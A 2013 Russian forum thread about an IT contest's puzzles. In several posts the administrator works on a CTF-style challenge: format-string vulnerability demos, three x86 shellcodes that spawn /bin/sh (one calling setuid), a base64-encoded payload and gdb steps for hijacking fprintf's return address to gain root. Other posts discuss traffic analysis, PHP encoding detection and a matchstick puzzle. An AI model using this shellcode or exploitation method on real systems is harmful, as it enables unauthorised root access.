Скорая Компьютерная Помощь г. Калуга

Полный спектр компьютерных услуг!

Здравствуйте, гость ( Вход | Регистрация )

> Внимание!

  • Вся информация, расположенная в данном и других разделах форума получена из открытых источников (интернет-ресурсы, средства массовой информации, печатные издания и т.п.) и/или добавлена самими пользователями. Администрация форума предоставляет его участникам площадку для общения / размещения файлов / статей и т.п. и не несет ответственности за содержание сообщений, а также за возможное нарушение авторских, смежных и каких-либо иных прав, которое может повлечь за собой информация, содержащаяся в сообщениях.
Ремонт компьютеров в калуге Рекламное место сдается
27 страниц V  « < 9 10 11 12 13 > »   
Ответить в эту темуОткрыть новую тему
> Конкурс "Системный Администратор 2013", Первые IT-шные олимпийские игры
NastyaBondar
сообщение 25.8.2013, 0:07
Сообщение #201


Junior Member
**

Группа: Пользователи
Сообщений: 40
Регистрация: 10.8.2012
Пользователь №: 1262



Цитата(Decker @ 24.8.2013, 22:37) *
Ууух ... все проще ... байты IP'шников просто пишешь в файл ... как символы ... ну а дальше все увидишь и поймешь.


О Боже что получается пока.. http://codepad.org/8Nt8wZrr
Я в правильном направлении? smile.gif


_________________

UPD:
что-то туплю, вроде почти готово
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
5rg
сообщение 25.8.2013, 10:00
Сообщение #202


Junior Member
**

Группа: Пользователи
Сообщений: 71
Регистрация: 25.8.2013
Пользователь №: 1681



в 6 вопросе квеста админов кроме wireshark'a что-то надо использовать? направление понятно, но пока не могу найти. можно просто ответить да или нет, сам люблю копаться без лишних подсказок smile.gif
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
NastyaBondar
сообщение 25.8.2013, 10:36
Сообщение #203


Junior Member
**

Группа: Пользователи
Сообщений: 40
Регистрация: 10.8.2012
Пользователь №: 1262



Цитата(5rg @ 25.8.2013, 10:00) *
в 6 вопросе квеста админов кроме wireshark'a что-то надо использовать? направление понятно, но пока не могу найти. можно просто ответить да или нет, сам люблю копаться без лишних подсказок smile.gif


Добрый день. Достаточно почти любой программы-анализатора трафика, которая "скушает" .pcap
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
zzTOP
сообщение 25.8.2013, 13:06
Сообщение #204


Junior Member
**

Группа: Пользователи
Сообщений: 44
Регистрация: 11.8.2012
Пользователь №: 1267



Цитата(Decker @ 24.8.2013, 19:15) *
p.s. Судя по стене разработчиков один человек уже решил это задание ... Чертос-2 ... )

Чёртос-2 aka Astiob контакты можно взять тут https://github.com/astiob

P.S. Чувак прекрасно говорит по русски
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 14:27
Сообщение #205


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Цитата(zzTOP @ 25.8.2013, 13:06) *
Чёртос-2 aka Astiob контакты можно взять тут https://github.com/astiob

P.S. Чувак прекрасно говорит по русски

А вот его профиль ... http://itstarz.ru/profile/19833/ ... если предположить что 4 решенных задания - это 1,2,3, 5 - то выходит что за дверь дают всего 30 баллов. Как-то маловато ... 6-е с файлом smile и ANSI в квесте для программеров относительно легкое ... кстати за него 30 баллов и дают.


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 14:36
Сообщение #206


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Вопрос ... ни у кого не валяется сырца корректного определения кодировке строки на PHP? Т.е. нужна функция, на вход которой подается строка, а на выходе она выдает кодировку - CP1251, KOI8R, ISO-8859-5 и т.п. Только mb_detect_encdoding и т.п. - не предлагать wink.gif


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
NastyaBondar
сообщение 25.8.2013, 15:09
Сообщение #207


Junior Member
**

Группа: Пользователи
Сообщений: 40
Регистрация: 10.8.2012
Пользователь №: 1262



Цитата(Decker @ 25.8.2013, 14:36) *
Вопрос ... ни у кого не валяется сырца корректного определения кодировке строки на PHP? Т.е. нужна функция, на вход которой подается строка, а на выходе она выдает кодировку - CP1251, KOI8R, ISO-8859-5 и т.п. Только mb_detect_encdoding и т.п. - не предлагать wink.gif


Полноценно работающего решения еще не придумали. % удачного определения будет не выше, чем (примерно) 70%...
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 16:05
Сообщение #208


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Ну что ж, приступим )))

Для тестирования уязвимости форматной строки я написал простенькую программу:
Код
#include <stdio.h>
void main(int argc, char *argv[])
{
printf(argv[1]);
}

Скоппилил ее:
Код
gcc e.c -o e

Ну и собственно теперь можно удобно издеваться над аргументом, запуская ./e <форматная строка>, так, запустив ./e ---%08X---%08X---%08X---%08X---%08X мы получаем:
Код
---B7FF3380---080483FB---B7FDDFF4---080483F0---00000000


Так как printf воспринимает форматные спецификаторы, то, очевидно, что ---B7FF3380---080483FB---B7FDDFF4---080483F0---00000000 является соответствием ---%08X---%08X---%08X---%08X---%08X , т.е. мы видим в шестнадцатеричном представлении значения параметров вызова функции printf. Printf “не знает” о количестве и наличии параметров. Определяющим фактором здесь является лишь форматная строка, которая указывает на наличие таких параметров. Поэтому в качестве параметров выводится текущее содержимое стека.

Осталось понять что это именно ... и как это использовать )

p.s. По всей видимости надо с %n разбираться:
Цитата
Для модификации содержимого стека и данных может быть использован форматный спецификатор %n. Этот спецификатор, редко используемый в обычной практике, осуществляет запись текущей позиции вывода в заданную переменную. Так после выполнения:

sprintf(s,”123%n”, &pos);

pos будет равен трем, так как до обработки модификатора %n было выведено 3 символа ‘123’.

p.p.s. ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING - здесь еще подробнее ...


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
clevergod
сообщение 25.8.2013, 16:37
Сообщение #209


Junior Member
**

Группа: Пользователи
Сообщений: 41
Регистрация: 25.8.2013
Из: Казахстан/Алматы
Пользователь №: 1682



Цитата(Decker @ 25.8.2013, 0:37) *
Ууух ... все проще ... байты IP'шников просто пишешь в файл ... как символы ... ну а дальше все увидишь и поймешь.

Ну так подскажи хоть в личку то, что делать дальше?*

407af948aef4844d967c480dffd3e1cf :тевто шаВG - это я получаю бинарно с этих ip, но и дальше не понимаю
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 16:47
Сообщение #210


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Чуть подробнее, используемая программа:
Код
#include <stdio.h>
void main(int argc, char *argv[])
{
int num = 7;
printf(argv[1]);
printf("\n");
printf("\nnum = %d, &num = %p\n", num, &num);
}

Запускаем ее с форматной строкой:
Код
user@reverse-me:/tmp$ ./e "%08X %08X %08X %08X %08X %08X %08X %08X"            
B7FDDFF4 08048450 BFFFFD88 B7ECC395 B7FF3380 0804845B 00000007 08048450        
                                                                                
num = 7, &num = 0xbffffd7c

Думаем ... )


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 16:48
Сообщение #211


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Цитата(clevergod @ 25.8.2013, 16:37) *
Ну так подскажи хоть в личку то, что делать дальше?*

407af948aef4844d967c480dffd3e1cf :тевто шаВG - это я получаю бинарно с этих ip, но и дальше не понимаю

А слова "Ваш ответ" ты не видишь разве? ))


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 19:32
Сообщение #212


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1





p.s. Сделал локальную копию консоли из задания с дверью, для запуска на локальном web-сервере (так удобнее) Ковыряю дальше ...
p.p.s. Вот shellcode, который работает в jslinux (запускает /bin/sh):

Код
#include <stdio.h>
#include <string.h>

char shellcode[] =      "\x68\xcd\x80\x68\x68\xeb\xfc\x68"
            "\x6a\x0b\x58\x31\xd2\x52\x68\x2f"
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
            "\x89\xe3\x52\x53\x89\xe1\xeb\xe1";

main() {
  void  (*fp) (void);
  fp = (void *) shellcode;
  printf ("%d bytes\n", strlen(shellcode));
  fp();
}

или другой вариант
Код
/* setuid(); execve(); exit(); */
#include <stdio.h>
#include <string.h>

char shellcode[]=
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50"
        "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0"
        "\xb0\x01\xcd\x80";

main() {
  void  (*fp) (void);
  fp = (void *) shellcode;
  printf ("%d bytes\n", strlen(shellcode));
  fp();
}

Теперь задача заставить crypto выполнить его ... т.е. сформировать нужную форматную строку ...


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 25.8.2013, 22:01
Сообщение #213


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Отличная презентация по эксплуатации уязвимостей форматной строки. Смотреть с 13-й страницы.

p.s. В приват отвечу всем после решения этого задания. Сейчас нет времени ... увлечен сильно ...
p.p.s. А презентация не отличная, а ОТЛИЧНАЯ! 22-я страница - Example: overwrite the return address with 0x08042222 (consider overflow) ... Вообщем смысл в следующем, вначале должен быть наш shellcode, а потом мы должны поменять адрес возврата из fprintf на его начало. Только вот практическая реализация этого с моим опытом займет ОЧЕНЬ много времени. Но будем стараться.

Вот версия crypto, которая пишет в файл encrypted каталога из которого она запущена БЕЗ шифрования. Это нужно для удобства отладки шеллкода.


Прикрепленные файлы
Прикрепленный файл  cryptonc.7z ( 2,35 килобайт ) Кол-во скачиваний: 41
 


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 26.8.2013, 0:54
Сообщение #214


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1





© http://www.shell-storm.org/shellcode/files/shellcode-256.php

Шеллкод не содержащий паттерна 0x80 (int 80h), важно для задания.
Код
#include <stdio.h>
#include <string.h>

char shellcode[] = "\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\xbf\x97\x17\xb1\x34\x01\xff\x47\x57\x89\xe3\x52\x53\x89\xe1\xb0\x63\x2c\x58\x81\xef\x62\xae\x61\x69\x57\xff\xd4";

int main(int argc, char *argv[])
{
           fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();      
}


Архив содержит два файла - shell9.bin, shell9cry.bin ... shell9.bin - шеллкод, тот что выше, для вызова /bin/sh, shell9cry.bin - зашифрованный по алгоритму crypto shell9.bin ... т.е. если натравить на него crypto - он запишет в encrypted нужный нам шеллкод.

Прикрепленный файл  shellcodes.7z ( 259 байт ) Кол-во скачиваний: 34


Ну и теперь остается преобразовать shell9cry.bin к форматной строке. Т.е. чтобы на него передалось управление. А вот с этим пока затык.

Как занести shell9cry.bin в JSLinux? Да очень просто:
Код
base64 -d > /tmp/shell9cry.bin <<EOF
GdLY0j83F7m0gX/XPxeXMbSBf8fXCWPS0wlhMOOs2AFv4i7h6dd/VAo=
EOF

Это в клипборде, потом нажимаем кнопку Paste to clipboard и в консоли . /dev/clipboard ... скрипт выполнится и файл создастся. Затем можно загрузить gdb /home/user/crypto ... и поставить breakpoint - b *0x080486a9 перед вызовом fprintf.
Прикрепленное изображение

Смотрим картинку и видим расшифрованный shellcode по адресу $esp+0x14, т.е. 0xbffffc64 ... осталось теперь передать на него управление.


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Trianit
сообщение 26.8.2013, 6:49
Сообщение #215


Junior Member
**

Группа: Пользователи
Сообщений: 99
Регистрация: 14.8.2013
Пользователь №: 1665



ужас какой-то ohmy.gif неужели авторы ждут от конкурсантов такого вот хакерского решения? Как-то не верится... До сих пор задания имели простой и изящный ответ, хотя и путь решения мог быть и трудным. Но так вот извращаться... blink.gif
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 26.8.2013, 6:54
Сообщение #216


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Цитата(Trianit @ 26.8.2013, 6:49) *
ужас какой-то ohmy.gif неужели авторы ждут от конкурсантов такого вот хакерского решения? Как-то не верится... До сих пор задания имели простой и изящный ответ, хотя и путь решения мог быть и трудным. Но так вот извращаться... blink.gif

Ужас - не то слово ... )) Но я его почти добил ... осталось преобразовать получившееся в форматную строку ... и тогда если мы запустим crypto шеллкод выполнится и мы получим root. Но вот с этим пока туго. Я бы сказал - я на 75% ... потратив сутки )))

А вот так выглядит процедура шифрования для hiew (т.е. можно взять незашифрованный файл, пробежаться по нему с помощью F7 криптом и получить шифрованный, который можно подавать на вход):

Прикрепленное изображение


Вообщем это самое тяжелое задание, которое я только видел. Кучу всего надо знать и понимать ... ((


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Decker
сообщение 26.8.2013, 8:42
Сообщение #217


Администратор
*****

Группа: Главные администраторы
Сообщений: 14349
Регистрация: 12.10.2007
Из: Twilight Zone
Пользователь №: 1



Для тех кто хочет запустить задание про дверь на локальном web-сервере (запускать обязательно на рабочем web-сервере, просто открыть index.html в браузере недостаточно) - http://rghost.ru/48374151 - полный дамп консоли. Т.е. поместив содержимое архива на локальный web-сервер вы сможете открыть это задание также, как если бы оно было непосредственно на оф. сайте. Вся структура hda - скрипты и т.п. в комплекте. Подойдет также для анализа того, как сделана эта консоль.

p.s. А по заданию собственно пока тупик ... ) Форматную строку, чтобы адрес возврата из fprintf попадал на начало шеллкода, написать я пока не могу sad.gif Да и рабочая неделя начинается ...


--------------------

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
KOS
сообщение 26.8.2013, 8:44
Сообщение #218


Junior Member
**

Группа: Пользователи
Сообщений: 133
Регистрация: 10.8.2012
Пользователь №: 1240



Цитата(Decker @ 24.8.2013, 14:56) *
С алгоритмом я перегнул палку ... нечего по ночам сидеть )) Вообщем словесное описание наверное такое:

1. Перебираем все возможные комбинации валидных начальных положений спичек. Валидными считаются комбинации, когда цифра выглядит как "трафарет" и знаки тоже. Плюс получившееся выражение удовлетворяет одному из 4-х паттернов. Это будет начальное расположение головоломки.
2. Теперь мы должны рассмотреть ВСЕ варианты, можем ли мы перемещением одной спички превратить "начальное выражение", т.е. головоломку в валидное равенство. Это можно сделать с помощью операции ПЕРЕМЕЩЕНИЕ_СПИЧКИ )) Спичку можно перестить с одного символа на другой, а можно с этого на тот же самый. В результате мы получим n-ое количество выражений, если хоть одно из них является валидным равенством, то комбинация является верной головоломкой. Увеличиваем счетчик.

Ну а теперь собственно нужно составить таблицы для процедур: МИНУС_СПИЧКА, ПЛЮС_СПИЧКА, МИНУС_ПЛЮС_СПИЧКА. Где первые две составляют перемещение, когда мы сняли спичку с одного символа и поставили на другой, а последнее - когда снятие/постановка спички происходят с одного и того же символа. Такие варианты надо рассмотреть для каждой цифры ...

p.s. Никто не хочет заняться? Проверили бы результаты ... я уже начинал тут постом выше для МИНУС_СПИЧКА, то же самое надо сделать для двух остальных процедур.

Ну и если у кого какой другой план зреет - пишите, не стесняйтесь ))

У меня алгоритм именно такой, перемещения спички в одном символе уже написал, осталось +спичка -спичка, на работе доделаю)
Вот возможные превращения цифр, inc +спичка, dec -спичка, rep перемещение спички, поправьте если че упустил
Код
        d[0].inc.add("8");
        d[1].inc.add("7");
        //d[2].inc.add("");
        d[3].inc.add("9");
        //d[4].inc.add("");
        d[5].inc.add("9");
        d[6].inc.add("8");
        //d[7].inc.add("");
        //d[8].inc.add("");
        d[9].inc.add("8");
        
        //d[0].dec.add("");
        //d[1].dec.add("");
        //d[2].dec.add("");
        //d[3].dec.add("");
        //d[4].dec.add("");
        //d[5].dec.add("");
        d[6].dec.add("5");
        d[7].dec.add("1");
        d[8].dec.add("9");
        d[8].dec.add("6");
        d[9].dec.add("3");
        d[9].dec.add("5");
        
        d[0].rep.add("6");
        d[0].rep.add("9");
        //d[1].rep.add("");
        d[2].rep.add("3");
        d[3].rep.add("5");
        d[3].rep.add("2");
        //d[4].rep.add("");
        d[5].rep.add("3");
        d[6].rep.add("9");
        d[6].rep.add("0");
        //d[7].rep.add("");
        //d[8].rep.add("");
        d[9].rep.add("6");
        d[9].rep.add("0");
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
XaBbl4
сообщение 26.8.2013, 10:03
Сообщение #219


Junior Member
**

Группа: Пользователи
Сообщений: 54
Регистрация: 21.8.2013
Пользователь №: 1676



Цитата(KOS @ 26.8.2013, 8:44) *
У меня алгоритм именно такой, перемещения спички в одном символе уже написал, осталось +спичка -спичка, на работе доделаю)
Вот возможные превращения цифр, inc +спичка, dec -спичка, rep перемещение спички, поправьте если че упустил

Упустил две возможные комбинации:
Код
d[5].inc.add("6");
d[8].dec.add("0");


Цитата(nowlar @ 24.8.2013, 21:47) *
Так, к списку минус_плюс_спичка надо добавить
+-> =
= -> +

Преобразования знака + в = и обратно невозможно быть, т.к. полученное выражение не подходит под 4 маски в задании.

З.Ы. У меня ответ приняли, за задание 40 баллов дали.
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
KOS
сообщение 26.8.2013, 10:13
Сообщение #220


Junior Member
**

Группа: Пользователи
Сообщений: 133
Регистрация: 10.8.2012
Пользователь №: 1240



Цитата(XaBbl4 @ 26.8.2013, 10:03) *
Упустил две возможные комбинации:
Код
d[5].inc.add("6");
d[8].dec.add("0");

Спасибо!
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения

27 страниц V  « < 9 10 11 12 13 > » 
Ответить в эту темуОткрыть новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

Рекламное место сдается Рекламное место сдается
Текстовая версия Сейчас: 31.1.2025, 10:21
Рейтинг@Mail.ru
Яндекс.Метрика Яндекс цитирования